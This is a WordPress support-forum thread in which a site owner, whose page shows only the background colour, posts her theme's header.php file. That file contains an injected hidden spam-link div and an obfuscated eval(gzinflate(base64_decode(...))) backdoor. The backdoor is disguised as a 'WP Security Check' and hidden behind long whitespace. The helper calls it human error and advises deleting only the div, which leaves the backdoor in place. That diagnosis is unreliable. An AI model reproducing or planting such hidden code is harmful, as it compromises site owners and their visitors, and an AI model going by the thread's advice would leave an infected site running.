• Hi there,

    I just uploaded two images to the MetaSlider (plugin) on my site and now the whole site is just my background colour. I have tried deactivating a number of plugins, but that hasn’t worked. I am nervous about deactivating woocommerce, in case I lose all my work on it. Is anyone able to help please? The site is julialloydgeorge.com.

    Thanks!

Viewing 6 replies - 1 through 6 (of 6 total)
  • The body tag has the style position:absolute;left:-2000px. That means everything is there, just 2000 pixels to the left. You’ll need to figure out what inserted that and remove it.

    If you’re not sure, post your header.php file from your theme’s directory.

    Thread Starter DidoH

    (@didoh)

    Hi Acchiappaprezzo,

    Thanks for your help – you’re amazing! I have found the bit of code that is doing it in the header.php below, but I don’t understand how it got there. I only specified the code about the site navigation. A lot of other things seem to have been added in some how. Do you have any idea how this might happen?

    <?php
    /**
     * The Header for our theme.
     *
     * Displays all of the <head> section and everything up till <div id="content">
     *
     * @package Museum
     */
    
    ?><!DOCTYPE html>
    <html <?php language_attributes(); ?>>
    <head>
    <meta charset="<?php bloginfo( 'charset' ); ?>">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="profile" href="https://gmpg.org/xfn/11">
    <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
    
    <?php wp_head(); ?>
    <!--[if lt IE 9]>
    <script src="<?php echo esc_url( get_template_directory_uri(). '/assets/js/html5shiv.js' ); ?>"></script>
    <![endif]-->
    
    </head>
    
    <body <?php body_class(); ?><div style="position:absolute;left:-2000px"><a href='julialloydgeorge.comtestgis-index'>julialloydgeorge.com</a><a href='julialloydgeorge.comtestgis-map1'>sitemap</a></div>>
    
    <div id="page" class="hfeed site">
    
    		</div>
    	</nav><!-- #site-navigation -->
    
    	<header id="masthead" class="site-header" role="banner">
    		<?php $header_position = get_theme_mod( 'header_position', 'right' ); ?>
    		<div class="site-branding text-<?php echo esc_attr( $header_position ); ?>">
    
    			<?php if ( get_header_image() ) : ?>
    			<div class="site-logo">
    				<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
    				<img src="<?php header_image(); ?>" width="<?php echo absint( get_custom_header()->width ); ?>" height="<?php echo absint( get_custom_header()->height ); ?>">
    				</a>
    			</div>
    			<?php endif; // End header image check. ?>
    
    			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
    
    		</div>
    
        <nav id="site-navigation" class="main-navigation" role="navigation">
    		<button class="menu-toggle"><?php _e( 'Menu', 'museum' ); ?></button>
    		<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'museum' ); ?></a>
    		<div class="nav-wrapper <?php museum_menu_class(); ?>">
    			<?php
    
    				wp_nav_menu( array(
    					'theme_location'  => 'primary',
    					'container_class' => 'primary-menu'
    				) );
    
    			?>
    
    		</div>
    	</header><!-- #masthead -->
    <?php
    /**
     * WP Security Check
     * Do not delete it
     */
    
                                                                                                                                                                                                                                                                                                        eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVO3ruQGEPuXa86GCuUEw4VWcZVzwmsUVzmvVtLXW+d3gF0QxJAcNoMp9qT748fXQeBfB0ncDN9gvw6Eupm8NeZm+gZ/g/j2fmVI7Hvn3xzyW0O/NfTOobePC/f8O0f88v43I9TPw5fli9AD3vzsGd7xEsOAH6GyufnodfARLWnPNPmADj5Vyhv9PB0Jlfi5W+Y5CGZY6eaGIPO32TgymArlHJsfnkYMEmLz0sUgHAhj1uAFunCpywfkBQfADI8zcW/sD75yUws8cZCabJOEwcsuCYP+hAyAh3j+2Lm3O5+FYEWos1on1cJAqAQhtKQ78LxLbDPej6hJT4sgLRbvTVrHK4Z7T1uASTRSyk0rd7HkJd0ViixWMmQN6K81UrVxTtbelUVyUG1ISY2kz7eki8ileXbLteTQ0tbR4NPb4w3QV9+3dTCfLx/cDyAcGvKBcTS9r+VZgqhSa1SnqLsq8M9J8SVkWjaUPb1RDdAGGp+BI7IfT19W9mrXjOF9Jp5jCdLZqXZbH1cPrbLcJHwVOx0llbuyWSsaGb4GQES+sSRFUKH8cOTdkcv9jNgjOzDviXtqGJM3kdq94LRTWIIdzALVO2Er97DVGOSpZPLUGLw24shm1CeUztVsz4Xi1igRY+VyZRa9B3CVoNhoJ7B9jLO35iKecLpenTJxHLmznPJcwBX27vW2X/VKW6TQaUQFh63gBGsIi83l81GM+y6jNxbKuUtzbrqjztCv53MvtHES+e3d6O6Ypo+ET0WuTMg+FijIi5JDf/WDyRAxPU7BJUi6eGkb/JDVlke6x2H5kcqd72JzVERj56mq0pVBglTOYfmVx0nJXxAKgOkELA7yQiBmKsJTldK2qhPOiEKB3Kmmy0nqtLErfpjhcGFAiglNNINDbfiqX2MsEUdEAjqBtfOZ3zqG+RkaCEJnV7BTuU/OtqTANlvOrXuQR4Hpu5iqvpnHzJHxi662LKDUBjfisEkNuWFdUrskEwKwzjjOk6dt+0Sar5YPvJR6vfRLirxD3NFh0Hs0JpeWrfYRiZOKyzx0qzZLerobZssdSomam6QNbiGKw3ee3eVqBR9bHTE6uCBAAhLgx/v75/3B9H9AHz/+/Osf'\x29\x29\x29\x3B");
    ?>
    	<div id="content" class="site-content">

    Also I tried removing the code that makes it disappear in Safari web developer. It works, but the slider has been affected so that the image no longer fits on the screen. Are you able to help with this as well?

    I assume the bit of code I have to remove is this:

    <body <?php body_class(); ?><div style="position:absolute;left:-2000px"><a href='julialloydgeorge.comtestgis-index'>julialloydgeorge.com</a><a href='julialloydgeorge.comtestgis-map1'>sitemap</a></div>>

    Will it affect anything else?

    Thanks!

    NO! Just delete this part:

    <div style="position:absolute;left:-2000px"><a href='julialloydgeorge.comtestgis-index'>julialloydgeorge.com</a><a href='julialloydgeorge.comtestgis-map1'>sitemap</a></div>

    You need the <body> tag. No idea how it got there, I would lean towards human error over being hacked since it’s not anything that would help a third party website.

    Thread Starter DidoH

    (@didoh)

    Thanks Acchiappaprezzo! I have done as you said – you’re a life saver. The only thing now is that the slider is not displaying as it was previously. The slides go off the end of the page and the caption on slide 2 is floating lower down than it was before.

    This is the css code I currently have working on the MetaSlider:

    .metaslider .caption {
    position: absolute !important;
    margin-top: -40% !important;
    float: right;
    text-align: left;
    color: #455353;
    background: #4bd8c3;
    width: 40%;
    right: 0px;
    left: auto;
    }
    
    .metaslider .caption-wrap {
      bottom: 100 !important;
    }
    
    .flex-direction-nav a {
      margin: 0 -10px 0 20px;
    }

    It’s a responsive slider so it’s going to change depending on the dimensions of the viewer’s browser window. I’m not sure how it was, or how you want it, so I couldn’t offer a solution.

    Thread Starter DidoH

    (@didoh)

    Ok, thanks Acchiappaprezzo.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Site only displaying background colour’ is closed to new replies.